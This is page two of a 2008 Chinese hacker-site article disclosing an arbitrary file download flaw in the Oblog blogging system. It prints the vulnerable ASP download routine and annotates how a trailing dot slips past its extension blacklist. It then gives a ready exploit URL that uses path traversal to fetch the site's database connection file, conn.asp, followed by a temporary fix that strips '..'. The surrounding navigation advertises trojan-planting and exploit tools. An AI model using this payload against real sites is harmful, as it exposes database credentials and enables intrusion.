黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·Oblog漏洞五一重现05-04·跨站脚本-攻击和防御指05-04
·两个shellcode05-04·代理工具:CTProxy 1.0 05-04
·强悍挂马工具:IIS_AD I05-04·Windows XP with SP3 VO05-04
·易美网络提供1000M网络免05-04·终点免费空间提供100M免05-04
·Vista中新增命令完整版 05-01·Windows系统中的“普通人05-01
·oxyhostsfree.com提供5G05-01·实用技巧 玩转Vista下备04-29
·V9站长天空提供200M高速04-29·用WinHEX远程查杀顽固病04-28
·js下载者04-28·又一个MS08-025溢出工具04-28
·MS08-025 for win2k & w04-28·WEB暴力破解工具(wvs fu04-28
·最近比较流行的数据库挂04-28·攻击木马–远程控制软件04-28
·仿SQLTOOLS 写的一个工具04-28·输入小助手.vbs04-28
·logtamper-v1.0 修改lin04-28·nasl插件生成器(带源码04-28
·OBlog 的SQL注入漏洞检测04-28·经典Windows XP系统故障04-28
·全民红客 CNN攻击技术解04-28·megalogs提供300MB免费p04-28
[注意]Oblog漏洞五一重现
        ★★★★★

Oblog漏洞五一重现

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-5-4 11:13:36

 

Sub downloadFile(strFile,stype)
On Error Resume Next
Server.ScriptTimeOut=9999999
Dim S,fso,f,intFilelength,strFilename
strFilename = strFile
Response.Clear
Set s = Server.CreateObject(oblog.CacheCompont(2))
s.Open
s.Type = 1
Set fso = Server.CreateObject(oblog.CacheCompont(1))
If Not fso.FileExists(strFilename) Then
If stype = 0 Then
Response.Status=404
Response.Write “该附件已经被删除!”
Exit Sub
Else
strFilename = Server.MapPath(blogdir&”images/nopic.gif”)
End if
End If
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
If Err Then
Response.Write(”<h1>错误: </h1>” & Err.Description & “<p>”)
Response.End
End If
Set fso=Nothing
Dim Data
Data=s.Read
s.Close
Set s=Nothing
Dim ContentType
select Case LCase(Right(strFile, 4))
Case “.asp”,”.mdb”,”.config”,”.js” ‘Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的”.”又派上用场了。
Exit Sub
Case “.asf”
ContentType = “video/x-ms-asf”
Case “.avi”
ContentType = “video/avi”
Case “.doc”
ContentType = “application/msword”
Case “.zip”
ContentType = “application/zip”
Case “.xls”
ContentType = “application/vnd.ms-excel”
Case “.gif”
ContentType = “image/gif”
Case “.jpg”, “jpeg”
ContentType = “image/jpeg”
Case “.wav”
ContentType = “audio/wav”
Case “.mp3″
ContentType = “audio/mpeg3″
Case “.mpg”, “mpeg”
ContentType = “video/mpeg”
Case “.rtf”
ContentType = “application/rtf”
Case “.htm”, “html”
ContentType = “text/html”
Case “.txt”
ContentType = “text/plain”
Case Else
ContentType = “application/octet-stream”
End select
If Response.IsClientConnected Then
If Not (InStr(LCase(f.name),”.gif”)>0 Or InStr(LCase(f.name),”.jpg”)>0 Or InStr(LCase(f.name),”.jpeg”)>0 Or InStr(LCase(f.name),”.bmp”)>0 Or InStr(LCase(f.name),”.png”)>0 )Then
Response.AddHeader “Content-Disposition”, “attachment; filename=” & f.name
End If
Response.AddHeader “Content-Length”, intFilelength
Response.CharSet = “UTF-8″
Response.ContentType = ContentType
Response.BinaryWrite Data
Response.Flush
Response.Clear()
End If
End Sub

########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################
修补建议:
等待官方发布新的补丁程序。
########################################################################
临时解决办法:
将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
########################################################################

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886